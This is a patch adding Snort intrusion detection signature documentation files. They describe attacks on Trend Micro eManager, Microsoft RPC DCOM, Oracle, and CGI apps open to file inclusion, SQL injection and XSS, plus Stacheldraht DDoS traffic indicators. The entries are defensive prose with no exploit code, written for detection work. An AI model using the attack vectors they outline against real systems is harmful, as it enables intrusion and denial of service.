+This event is generated when an attempt is made to exploit a buffer 
+overflow in Trend Micro InterScan eManager.
+
+--
+Impact:
+Serious. Remote administrative access is possible.
+
+--
+Detailed Information:
+Versions of Trend Micro InterScan eManager suffer from a buffer overflow
+condition that can present an attacker with the opportunity to execute 
+arbitrary code of their choosing which could lead to remote access to 
+the server.
+
+--
+Affected Systems:
+	Trend Micro InterScan eManager 3.51
+
+--
+Attack Scenarios:
+If the buffer overflow condition is met, the attacker can run code of 
+their choosing on the affected host.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Disable the web interface
+
+Enable NTLM authentication for the administrative interface
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/3327
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1787.txt
+++ snort-2.8.5.2/doc/signatures/1787.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1787
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1078.txt
+++ snort-2.8.5.2/doc/signatures/1078.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1078
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2657.txt
+++ snort-2.8.5.2/doc/signatures/2657.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+2657
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a vulnerability
+associated with Netscape Network Security Services (NSS) message parsing.
+
+--
+Impact:
+A successful attack can cause a heap overflow and the subsequent execution
+of arbitrary code on a vulnerable server.
+
+--
+Detailed Information:
+A vulnerability exists in the way NSS parses a client connect SSLv2 message
+that can cause a heap overflow and the subsequent execution of arbitrary code
+on a vulnerable server.  This can occur when an overly long challenge length
+and accompanying data are supplied in a Client Hello message.
+
+--
+Affected Systems:
+Netscape Enterprise Webserver all versions
+Netscape Personalization Engine all versions
+Nescape Directory Server all versions
+Netscape Certificate Management Server all versions
+Sun One/iPlanet all versions
+
+--
+Attack Scenarios:
+An attacker can send a Client Hello message with an overly long challenge
+length and data, causing a heap overflow on a vulnerable server.
+
+--
+Ease of Attack:
+Difficult.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/119-14.txt
+++ snort-2.8.5.2/doc/signatures/119-14.txt
@@ -0,0 +1,63 @@
+Rule: 
+
+--
+Sid: 
+119-14
+
+-- 
+Summary: 
+This event is generated when the pre-processor http_inspect
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+Unknown.
+
+--
+Detailed Information:
+This event is generated when the http_inspect pre-processor detects the
+use of non-standard RFC defined characters are used in a web request.
+
+The characters generating the events are user configured.
+
+--
+Affected Systems:
+	All web servers
+
+--
+Attack Scenarios: 
+An attacker may use non-standard characters in a request in an attempt
+to evade an IDS in the course of an attack against a web server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Daniel Roelker <droelker@sourcefire.com> 
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+HTTP IDS Evasions Revisited - Daniel Roelker
+http://docs.idsresearch.org/http_ids_evasions.pdf
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000411.txt
+++ snort-2.8.5.2/doc/signatures/100000411.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000411
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "REDAXO" application running on a webserver. Access to the file "index.inc.php" using a remote file being passed as the "REX[INCLUDE_PATH]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "REX[INCLUDE_PATH]" parameter in the "index.inc.php" script used by the "REDAXO" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using REDAXO
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000767.txt
+++ snort-2.8.5.2/doc/signatures/100000767.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000767
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "Blog CMS" application running on a webserver. Access to the file "index.php" with SQL commands being passed as the "item" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "item" parameter in the "index.php" script used by the "Blog CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Blog CMS
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3326.txt
+++ snort-2.8.5.2/doc/signatures/3326.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3326
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/879.txt
+++ snort-2.8.5.2/doc/signatures/879.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+879
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3451.txt
+++ snort-2.8.5.2/doc/signatures/3451.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid:
+3451
+
+--
+Summary:
+This rule does not generate an event. It is used in conjunction with
+other rules to reduce the possibility of false postives from occuring.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This rule does not generate an event. It is used in conjunction with
+other rules to reduce the possibility of false postives from occuring.
+
+--
+Affected Systems:
+	NA
+
+--
+Attack Scenarios:
+NA
+
+--
+Ease of Attack:
+NA
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+NA
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1918.txt
+++ snort-2.8.5.2/doc/signatures/1918.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+1918
+
+--
+Summary:
+This event is generated when a scan is detected. 
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to scan a host.
+
+This may be the prelude to an attack. Scanners are used to ascertain which ports a host may be listening on, whether or not the ports are filtered by a firewall and if the host is vulnerable to a particular exploit.
+
+--
+Affected Systems:
+Any host.
+
+--
+Attack Scenarios:
+An attacker can determine if ports 21 and 20 are being used for FTP. Then the attacker might find out that the FTP service is vulnerable to a particular attack and is then able to compromise the host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A scanner may be used in a security audit.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Determine whether or not the scan was legitimate then look for other events concerning the attacking IP address.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3396.txt
+++ snort-2.8.5.2/doc/signatures/3396.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3396
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000166.txt
+++ snort-2.8.5.2/doc/signatures/100000166.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+100000166
+
+-- 
+Summary: 
+This event is generated when a command is sent to an Oracle isqlplus instance 
+which contains a command to halt the Oracle TNS listener service.
+
+--
+Impact:
+Vulnerable Oracle servers may shut down their TNS listener service upon receipt 
+of this command, making the database unavailable for normal use until it is 
+restarted.
+
+--
+Detailed Information:
+iSQLPlus is a web interface to the Oracle SQLPlus system. A wide range of 
+commands may be sent to an Oracle server via this interface, including 
+administrative commands. If a request is sent which contains a command to halt 
+the TNS listener service, vulnerable versions of Oracle will execute the 
+command, halting the service and denying service to legitimate users until the 
+service is restarted.
+
+--
+Affected Systems:
+Oracle 9i Standard Edition 9.0.2.4
+Oracle 9i Personal Edition 9.0.2.4
+Oracle 9i Enterprise Edition 9.0.2.4
+
+--
+Attack Scenarios:
+A web browser may be used to exploit this vulnerability.
+
+--
+Ease of Attack:
+Simple, as a publicly available exploit exists which may be executed via a web 
+browser.
+
+--
+False Positives:
+Any time an authorized administrator chooses to shut down the TNS listener 
+service via the iSQLPlus interface.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the Oracle Critical Patch Update from July 2005, available at 
+http://www.oracle.com/technology/deploy/security/pdf/cpujul2005.html.
+
+--
+Contributors:
+rmkml
+Sourcefire Research Team
+
+--
+Additional References
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1776.txt
+++ snort-2.8.5.2/doc/signatures/1776.txt
@@ -0,0 +1,56 @@
+Rule:  
+
+--
+Sid: 1776
+
+-- 
+
+Summary: 
+This event is generated when an attempt is made to use the MySQL 'show' command to garner a list of databases.
+
+-- 
+Impact: 
+Intelligence gathering. This may be the prelude to an attack against one the databases or the MySQL daemon.
+
+--
+Detailed Information:
+This event is generated when the MySQL command 'show' is used to garner a list of MySQL databases being served by the MySQL daemon.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+--
+
+Attack Scenarios: 
+A MySQL implementation may inappropriately respond to connections from any host external to the protected network. The atttacker may be able to query the daemon to gain a list of databases available, then continue to garner information from the databases.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a legitimate user making a query to a MySQL daemon from an external source.
+
+--
+False Negatives:
+None Known
+
+-- 
+
+Corrective Action: 
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1856.txt
+++ snort-2.8.5.2/doc/signatures/1856.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1856
+
+--
+Summary:
+This event is generated when activity indicating the presence of a
+variant of the Stacheldraht DDOS tool is detected.
+
+--
+Impact:
+Distributed Denial of Service (DDoS) is possible.
+
+--
+Detailed Information:
+Stracheldraht is a Distributed denial of service tool normally found on
+Sun Solaris machines. It is made up of a Client, handler and agent. The
+clients connects to the handler. Handlers can connect with up to 1000
+agents. Communication between the client and the handler is conducted
+using tcp and the communication between the handler and the agent can be
+either tcp or icmp_echoreply. This rule detects the message sent from
+the handler to the agent. This message is used to respond to a agent
+message "skillz". The handler will reply with the string "ficken". This
+traffic differs from the traffic described on
+http://staff.washington.edu/dittrich/misc/stacheldraht.analysis because
+the packets have an icmp id of 6667 rather than 667 as noted in the analysis.
+
+--
+Affected Systems:
+	Sun Solaris
+
+--
+Attack Scenarios:
+The agent can be used to mount a distributed denial of service attack. It
+also indicates that a machine is compromised.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+The icmp id along with the keywords may be changed in the
+source code which would then evade this rule.
+
+--
+Corrective Action:
+Disconnect power from the machine and perform forensic analysis on the
+hard drives.
+
+--
+Contributors:
+Snort documentation contributed by Ian Macdonald
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2912.txt
+++ snort-2.8.5.2/doc/signatures/2912.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2912
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure register_snapshot_repgroup
+. This procedure is included in
+sys.dbms_repcat_sna.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3123.txt
+++ snort-2.8.5.2/doc/signatures/3123.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3123
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3362.txt
+++ snort-2.8.5.2/doc/signatures/3362.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3362
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000733.txt
+++ snort-2.8.5.2/doc/signatures/100000733.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000733
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Geeklog" application running on a webserver. Access to the file "MTBlackList.Examine.class.php" using a remote file being passed as the "$_CONF[path]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "$_CONF[path]" parameter in the "MTBlackList.Examine.class.php" script used by the "Geeklog" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Geeklog
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1236.txt
+++ snort-2.8.5.2/doc/signatures/1236.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1236
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000567.txt
+++ snort-2.8.5.2/doc/signatures/100000567.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000567
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "Qdig" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "pre_gallery" parameter in the "index.php" 
+script used by the "Qdig" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Qdig
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1889.txt
+++ snort-2.8.5.2/doc/signatures/1889.txt
@@ -0,0 +1,56 @@
+Nigel, Removed isc.incidents.org reference since it is no longer active.
+Rule:
+
+--
